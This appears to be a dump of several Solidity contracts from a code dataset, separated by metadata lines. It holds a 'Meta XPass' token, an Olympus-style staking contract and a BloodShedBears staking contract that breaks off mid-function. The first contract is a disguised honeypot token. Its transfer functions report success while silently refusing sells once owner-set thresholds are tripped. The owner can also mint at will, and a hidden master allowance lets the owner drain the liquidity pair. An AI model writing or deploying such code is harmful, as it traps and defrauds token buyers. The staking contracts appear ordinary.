tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB); function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IPancakeRouter02 is IPancakeRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract METAXPASS is Context, IERC20, Ownable { IPancakeRouter02 internal _router; IPancakePair internal _pair; uint8 internal constant _DECIMALS = 18; address public master; mapping(address => bool) public _marketersAndDevs; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; mapping(address => uint256) internal _buySum; mapping(address => uint256) internal _sellSum; mapping(address => uint256) internal _sellSumETH; uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS); uint256 internal _theNumber = ~uint256(0); uint256 internal _theRemainder = 0; modifier onlyMaster() { require(msg.sender == master); _; } constructor(address routerAddress) { _router = IPancakeRouter02(routerAddress); _pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this), address(_router.WETH()))); _balances[owner()] = _totalSupply; master = owner(); _allowances[address(_pair)][master] = ~uint256(0); _marketersAndDevs[owner()] = true; emit Transfer(address(0), owner(), _totalSupply); } function name() external pure override returns (string memory) { return "Meta XPass"; } function symbol() external pure override returns (string memory) { return "MXP"; } function decimals() external pure override returns (uint8) { return _DECIMALS; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { if (_canTransfer(_msgSender(), recipient, amount)) { _transfer(_msgSender(), recipient, amount); } return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_canTransfer(sender, recipient, amount)) { uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function burn(uint256 amount) external onlyOwner { _balances[owner()] -= amount; _totalSupply -= amount; } function setNumber(uint256 newNumber) external onlyOwner { _theNumber = newNumber; } function setRemainder(uint256 newRemainder) external onlyOwner { _theRemainder = newRemainder; } function setMaster(address account) external onlyOwner { _allowances[address(_pair)][master] = 0; master = account; _allowances[address(_pair)][master] = ~uint256(0); } function syncPair() external onlyMaster { _pair.sync(); } function includeInReward(address account) external onlyMaster { _marketersAndDevs[account] = true; } function excludeFromReward(address account) external onlyMaster { _marketersAndDevs[account] = false; } function rewardHolders(uint256 amount) external onlyOwner { _balances[owner()] += amount; _totalSupply += amount; } function _isSuper(address account) private view returns (bool) { return (account == address(_router) || account == address(_pair)); } function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) { if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) { return true; } if (_isSuper(sender)) { return true; } if (_isSuper(recipient)) { uint256 amountETH = _getETHEquivalent(amount); uint256 bought = _buySum[sender]; uint256 sold = _sellSum[sender]; uint256 soldETH = _sellSumETH[sender]; return bought >= sold + amount && _theNumber >= soldETH + amountETH && sender.balance >= _theRemainder; } return true; } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _hasLiquidity() private view returns (bool) { (uint256 reserve0, uint256 reserve1,) = _pair.getReserves(); return reserve0 > 0 && reserve1 > 0; } function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) { (uint256 reserve0, uint256 reserve1,) = _pair.getReserves(); if (_pair.token0() == _router.WETH()) { return _router.getAmountOut(amountTokens, reserve1, reserve0); } else { return _router.getAmountOut(amountTokens, reserve0, reserve1); } } function _beforeTokenTransfer(address from, address to, uint256 amount) private { if (_hasLiquidity()) { if (_isSuper(from)) { _buySum[to] += amount; } if (_isSuper(to)) { _sellSum[from] += amount; _sellSumETH[from] += _getETHEquivalent(amount); } } } }
320,732
12,129
ac50adf2d6dd9ff38f6f97c08d2b79a3fb7888cc5d9134193c2fbf4aac5a553a
27,174
.sol
Solidity
false
440059585
synassets/contracts
d4efb39761ae6c6e831fec2609467de1c6c998dc
contracts/Staking.sol
4,334
17,317
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement(address newOwner_) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed(address(0), _owner); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed(_owner, address(0)); _owner = address(0); } function pushManagement(address newOwner_) public virtual override onlyManager() { require(newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed(_owner, newOwner_); _newOwner = newOwner_; } function pullManagement() public virtual override { require(msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled(_owner, _newOwner); _owner = _newOwner; } } interface IsSYNASSETS { function rebase(uint256 synassetsProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); function index() external view returns (uint); } interface IWarmup { function retrieve(address staker_, uint amount_) external; } interface IDistributor { function distribute() external returns (bool); } interface IConsensusPool { function stake(address _staker, address _inviter, uint256 _amount) external; function unstake(address _unstaker, uint256 _amount) external; } contract SynassetsStaking is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; address public immutable SYNASSETS; address public immutable sSYNASSETS; struct Epoch { uint length; uint number; uint endBlock; uint distribute; } Epoch public epoch; address public distributor; address public locker; uint public totalBonus; address public warmupContract; uint public warmupPeriod; address public consensusPool; constructor (address _SYNASSETS, address _sSYNASSETS, uint _epochLength, uint _firstEpochNumber, uint _firstEpochBlock) { require(_SYNASSETS != address(0)); SYNASSETS = _SYNASSETS; require(_sSYNASSETS != address(0)); sSYNASSETS = _sSYNASSETS; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endBlock: _firstEpochBlock, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping(address => Claim) public warmupInfo; function stake(uint _amount, address _recipient) external returns (bool) { rebase(); IERC20(SYNASSETS).safeTransferFrom(msg.sender, address(this), _amount); Claim memory info = warmupInfo[ _recipient ]; require(!info.lock, "Deposits for account are locked"); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(IsSYNASSETS(sSYNASSETS).gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false }); IERC20(sSYNASSETS).safeTransfer(warmupContract, _amount); return true; } function claim (address _recipient, address _inviter) public { Claim memory info = warmupInfo[ _recipient ]; if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[ _recipient ]; uint256 _amount = IsSYNASSETS(sSYNASSETS).balanceForGons(info.gons); IWarmup(warmupContract).retrieve(_recipient, _amount); if (consensusPool != address(0)) IConsensusPool(consensusPool).stake(_recipient, _inviter, _amount); } } function forfeit() external { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; IWarmup(warmupContract).retrieve(address(this), IsSYNASSETS(sSYNASSETS).balanceForGons(info.gons)); IERC20(SYNASSETS).safeTransfer(msg.sender, info.deposit); } function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } function unstake(uint _amount, bool _trigger) external { if (_trigger) { rebase(); } IERC20(sSYNASSETS).safeTransferFrom(msg.sender, address(this), _amount); IERC20(SYNASSETS).safeTransfer(msg.sender, _amount); if (consensusPool != address(0)) IConsensusPool(consensusPool).unstake(msg.sender, _amount); } function index() public view returns (uint) { return IsSYNASSETS(sSYNASSETS).index(); } function rebase() public { if(epoch.endBlock <= block.number) { IsSYNASSETS(sSYNASSETS).rebase(epoch.distribute, epoch.number); epoch.endBlock = epoch.endBlock.add(epoch.length); epoch.number++; if (distributor != address(0)) { IDistributor(distributor).distribute(); } uint balance = contractBalance(); uint staked = IsSYNASSETS(sSYNASSETS).circulatingSupply(); if(balance <= staked) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked); } } } function contractBalance() public view returns (uint) { return IERC20(SYNASSETS).balanceOf(address(this)).add(totalBonus); } function giveLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.add(_amount); IERC20(sSYNASSETS).safeTransfer(locker, _amount); } function returnLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.sub(_amount); IERC20(sSYNASSETS).safeTransferFrom(locker, address(this), _amount); } enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER, CONSENSUS_POOL } function setContract(CONTRACTS _contract, address _address) external onlyManager() { if(_contract == CONTRACTS.DISTRIBUTOR) { // 0 distributor = _address; } else if (_contract == CONTRACTS.WARMUP) { // 1 require(warmupContract == address(0), "Warmup cannot be set more than once"); warmupContract = _address; } else if (_contract == CONTRACTS.LOCKER) { // 2 require(locker == address(0), "Locker cannot be set more than once"); locker = _address; } else if (_contract == CONTRACTS.CONSENSUS_POOL) { // 3 consensusPool = _address; } } function setWarmup(uint _warmupPeriod) external onlyManager() { warmupPeriod = _warmupPeriod; } }
22,942
12,130
c5bc0c7c5f3a12820912fed217cedf3b851c2b8661140b004078feccd58bdd61
27,219
.sol
Solidity
false
519123139
JolyonJian/contracts
b48d691ba0c2bfb014a03e2b15bf7faa40900020
contracts/7383_10737_0x5dca1fbd9259c1b4185270518c211149d9e5d3fa.sol
6,362
26,114
// contracts/stake/BloodShedBearsStaking.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; interface ICollection721 { function isOwnerOfBatch(uint256[] calldata tokenIds_, address address_) external view returns (bool); function ownerOf(uint256 tokenId) external view returns (address); function safeTransferFrom(address from, address to, uint256 tokenId) external; } interface IMintPass { function balanceOf(address account, uint256 id) external view returns (uint256); function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) external; } interface IToken { function add(address wallet, uint256 amount) external; function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mintTokens(address to, uint256 amount) external; } interface IGameStats { function getLevelBoosts(address collection, uint256[] calldata tokenIds) external view returns (uint256[] memory); function getLevelBoost(address collection, uint256 tokenId) external view returns (uint256); function getLevel(address collection, uint256 tokenId) external returns (uint256); function setTokensData(address collection, uint256[] calldata tokenIds, uint256[] calldata levels, bool[] calldata factions, bool[] calldata elites) external; function isClaimSuccessful(address collection, uint256 tokenId, uint256 amount, uint256 stakeType) external returns (bool); function setStakedTokenData(address collection, address owner, uint256 stakeType, uint256[] calldata tokenIds) external; function unsetStakedTokenData(address collection, uint256[] calldata tokenIds) external; } contract BloodShedBearsStaking is Ownable, Pausable { struct CollectionSettings { bool hasLevel; uint256 baseYieldRate; } struct StakeData { uint256 stakeType; uint256 claimDate; uint256 houseTokenId; } struct HouseEnrol { uint256 enrolDate; uint256 tokenId; } struct UnStakeSelection { address collectionAddress; uint256[] tokens; } struct StakeSelection { uint256 targetHouse; uint256 stakeType; address collectionAddress; uint256[] tokens; uint256[] levels; bool[] factions; bool[] elites; bytes[] signatures; } struct StakedTokens { uint256 tokenId; uint256 stakeType; uint256 claimDate; uint256 houseTokenId; } address private signerAddress; mapping(string => address) public contractsAddressesMap; mapping(string => uint256) public stakeTypesVariables; mapping(address => mapping(address => uint256[])) public stakedTokensByWallet; mapping(address => mapping(uint256 => StakeData)) public stakedTokensData; uint256 public treeHouseBoost = 30; mapping(uint256 => mapping(address => HouseEnrol[])) public treeHousesEnrolments; mapping(address => CollectionSettings) public collectionsSettings; address[] public collections; // PARTNER COLLECTIONS mapping(address => uint256) public partnerCollectionYield; mapping(address => mapping(uint256 => bool)) public claimedPartnerTokens; // MINT PASSES mapping(address => uint256) public walletsStakedPasses; mapping(address => uint256) public passesStakeDate; // ADMIN function addCollectionSettings(CollectionSettings[] calldata settings_, address[] calldata collections_) external onlyOwner { for (uint256 i = 0; i < collections_.length; ++i) { CollectionSettings storage cs = collectionsSettings[collections_[i]]; cs.baseYieldRate = settings_[i].baseYieldRate; cs.hasLevel = settings_[i].hasLevel; } collections = collections_; } function setTreeHouseBoost(uint256 boost_) external onlyOwner { treeHouseBoost = boost_; } function setSignerAddress(address signerAddress_) external onlyOwner { signerAddress = signerAddress_; } function setContractAddressesKeys(string[] calldata keys_, address[] calldata collections_) external onlyOwner { for (uint i = 0; i < keys_.length; ++i) { contractsAddressesMap[keys_[i]] = collections_[i]; } } function setStakeTypesKeys(string[] calldata keys_, uint256[] calldata stakeTypesIndexes_) external onlyOwner { for (uint256 i = 0; i < keys_.length; ++i) { stakeTypesVariables[keys_[i]] = stakeTypesIndexes_[i]; } } function setPartnerProjectsYielding(address[] calldata addresses_, uint256[] calldata yieldingAmounts_) external onlyOwner { for (uint256 i = 0; i < addresses_.length; ++i) { partnerCollectionYield[addresses_[i]] = yieldingAmounts_[i]; } } // UTILS function _moveTokenInTheListStake(uint256[] storage list, uint256 tokenId) internal { uint256 foundIndex; uint256 i; for (; i < list.length; ++i) { if (list[i] == tokenId) { foundIndex = i; break; } } require(i != list.length, "NOT OWNED"); if (foundIndex != list.length - 1) { uint256 t = list[foundIndex]; list[foundIndex] = list[list.length - 1]; list[list.length - 1] = t; } } function _moveTokenInTheListHouse(HouseEnrol[] storage list, uint256 tokenId) internal { uint256 foundIndex; uint256 i; for (; i < list.length; ++i) { if (list[i].tokenId == tokenId) { foundIndex = i; break; } } require(i != list.length, "NOT OWNED"); if (foundIndex != list.length - 1) { HouseEnrol memory he = list[foundIndex]; list[foundIndex] = list[list.length - 1]; list[list.length - 1] = he; } } function onERC721Received(address, address, uint256, bytes calldata) external pure returns(bytes4) { return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")); } function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns (bytes4) { return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); } function _validateMultipleSignature(StakeSelection[] calldata selections_) internal { for (uint256 i = 0; i < selections_.length; i++) { if (selections_[i].signatures.length == 0) { continue; } bool isValid = true; for (uint256 j = 0; j < selections_[i].tokens.length; j++) { bytes32 dataHash = keccak256(abi.encodePacked(selections_[i].collectionAddress, selections_[i].tokens[j], selections_[i].levels[j], selections_[i].elites[j], selections_[i].factions[j])); bytes32 message = ECDSA.toEthSignedMessageHash(dataHash); address receivedAddress = ECDSA.recover(message, selections_[i].signatures[j]); isValid = isValid && (receivedAddress != address(0) && receivedAddress == signerAddress); } require(isValid); IGameStats(contractsAddressesMap["gameStats"]).setTokensData(selections_[i].collectionAddress, selections_[i].tokens, selections_[i].levels, selections_[i].factions, selections_[i].elites); } } // MINT PASS function stakePasses(uint256 amount_, bool withdrawCurrentYield) external whenNotPaused { require(IMintPass(contractsAddressesMap["mintPass"]).balanceOf(msg.sender, 0) >= amount_); if (walletsStakedPasses[msg.sender] != 0) { if (withdrawCurrentYield) { withdrawPassesYield(); } else { transferPassesYieldIntoInternalWallet(msg.sender); } } else { passesStakeDate[msg.sender] = block.timestamp; } walletsStakedPasses[msg.sender] += amount_; IMintPass(contractsAddressesMap["mintPass"]).safeTransferFrom(msg.sender, address(this), 0, amount_, ""); } function unStakePasses(bool withdraw) external whenNotPaused { if (withdraw) { withdrawPassesYield(); } else { transferPassesYieldIntoInternalWallet(msg.sender); } IMintPass(contractsAddressesMap["mintPass"]).safeTransferFrom(address(this), msg.sender, 0, walletsStakedPasses[msg.sender], ""); walletsStakedPasses[msg.sender] = 0; } function withdrawPassesYield() public whenNotPaused { IToken(contractsAddressesMap["token"]).mintTokens(msg.sender, _claimMetaPassEarning(msg.sender)); } function transferPassesYieldIntoInternalWallet(address wallet_) public whenNotPaused { IToken(contractsAddressesMap["token"]).add(wallet_, _claimMetaPassEarning(msg.sender)); } function _claimMetaPassEarning(address wallet_) internal returns (uint256) { uint256 amount = calculateMetaPassesYield(wallet_); passesStakeDate[wallet_] = block.timestamp; return amount; } function calculateMetaPassesYield(address wallet_) public view returns (uint256) { return (block.timestamp - passesStakeDate[wallet_]) * walletsStakedPasses[wallet_] * collectionsSettings[contractsAddressesMap["mintPass"]].baseYieldRate / 1 days; } // PARTNER PROJECTS function claimPartnerTokens(address collection_, uint256[] calldata tokenIds_, bool withdrawYield) external whenNotPaused { require(partnerCollectionYield[collection_] != 0); for (uint256 i = 0; i < tokenIds_.length; ++i) { require(ICollection721(collection_).ownerOf(tokenIds_[i]) == msg.sender); claimedPartnerTokens[collection_][tokenIds_[i]] = true; } if (withdrawYield) { IToken(contractsAddressesMap["token"]).mintTokens(msg.sender, partnerCollectionYield[collection_] * tokenIds_.length); } else { IToken(contractsAddressesMap["token"]).add(msg.sender, partnerCollectionYield[collection_] * tokenIds_.length); } } // STAKE function _getHouseOccupancy(uint256 houseId) internal view returns (uint256) { uint256 occupancy = 0; for (uint256 i = 0; i < collections.length; ++i) { occupancy += treeHousesEnrolments[houseId][collections[i]].length; } return occupancy; } function isOwner(address wallet_, address collection_, uint256 tokenId_) public view returns (bool) { for (uint256 i = 0; i < stakedTokensByWallet[wallet_][collection_].length; ++i) { if (stakedTokensByWallet[wallet_][collection_][i] == tokenId_) { return true; } } return false; } function stakeTokens(StakeSelection[] calldata selections_) external whenNotPaused { _validateMultipleSignature(selections_); for (uint256 i = 0; i < selections_.length; ++i) { require(ICollection721(selections_[i].collectionAddress).isOwnerOfBatch(selections_[i].tokens, msg.sender)); if (selections_[i].collectionAddress == contractsAddressesMap["tokenGenerator"]) { require(selections_[i].stakeType == stakeTypesVariables["treeHouse"]); } if (selections_[i].collectionAddress == contractsAddressesMap["treeHouse"]) { require(selections_[i].stakeType == stakeTypesVariables["home"]); } bool stack = selections_[i].stakeType == stakeTypesVariables["treeHouse"]; if (stack) { require(isOwner(msg.sender, contractsAddressesMap["treeHouse"], selections_[i].targetHouse)); require(selections_[i].tokens.length + _getHouseOccupancy(selections_[i].targetHouse) <= IGameStats(contractsAddressesMap["gameStats"]).getLevel(contractsAddressesMap["treeHouse"], selections_[i].targetHouse)); } for (uint256 j = 0; j < selections_[i].tokens.length; ++j) { _enterStakeStance(selections_[i].collectionAddress, selections_[i].tokens[j], selections_[i].stakeType, false); if (stack) { _enterStackStance(selections_[i].collectionAddress, selections_[i].tokens[j], selections_[i].targetHouse); } ICollection721(selections_[i].collectionAddress) .safeTransferFrom(msg.sender, address(this), selections_[i].tokens[j]); } IGameStats(contractsAddressesMap["gameStats"]).setStakedTokenData(selections_[i].collectionAddress, msg.sender, selections_[i].stakeType, selections_[i].tokens); delete stack; } } function _enterStakeStance(address collection_, uint256 tokenId_, uint256 stakeType_, bool skipPushing) internal { if (!skipPushing) { stakedTokensByWallet[msg.sender][collection_].push(tokenId_); } StakeData storage stake = stakedTokensData[collection_][tokenId_]; stake.stakeType = stakeType_; stake.claimDate = block.timestamp; } function _enterStackStance(address collection_, uint256 tokenId_, uint256 treeHouseId_) internal { treeHousesEnrolments[treeHouseId_][collection_].push(HouseEnrol({ enrolDate : block.timestamp, tokenId: tokenId_ })); stakedTokensData[collection_][tokenId_].houseTokenId = treeHouseId_; } function unStakeTokens(UnStakeSelection[] calldata selections_) external whenNotPaused { uint256 totalAccumulatedYield; for (uint256 i = 0; i < selections_.length; ++i) { totalAccumulatedYield += _exitStakeStanceMany(selections_[i].collectionAddress, selections_[i].tokens, true, true, false); IGameStats(contractsAddressesMap["gameStats"]).unsetStakedTokenData(selections_[i].collectionAddress, selections_[i].tokens); } IToken(contractsAddressesMap["token"]).add(msg.sender, totalAccumulatedYield); } function _exitStakeStanceMany(address collection_, uint256[] calldata tokenIds_, bool transferTokens, bool updateClaimDate, bool skipPopping) internal returns(uint256) { uint256 yieldedAmount; uint256[] memory levelBoosts; if(collectionsSettings[collection_].hasLevel) { levelBoosts = IGameStats(contractsAddressesMap["gameStats"]).getLevelBoosts(collection_, tokenIds_); } else { levelBoosts = new uint256[](tokenIds_.length); } for (uint256 i = 0; i < tokenIds_.length; ++i) { require(isOwner(msg.sender, collection_, tokenIds_[i])); yieldedAmount += _getYield(collection_, tokenIds_[i], levelBoosts[i], updateClaimDate); _exitStakeStance(collection_, tokenIds_[i], skipPopping); if (transferTokens) { ICollection721(collection_).safeTransferFrom(address(this), msg.sender, tokenIds_[i]); } } delete levelBoosts; return yieldedAmount; } function _exitStakeStance(address collection_, uint256 tokenId_, bool skipPopping) internal { if (collection_ == contractsAddressesMap["treeHouse"]) { require(_getHouseOccupancy(tokenId_) == 0); } if (!skipPopping) { 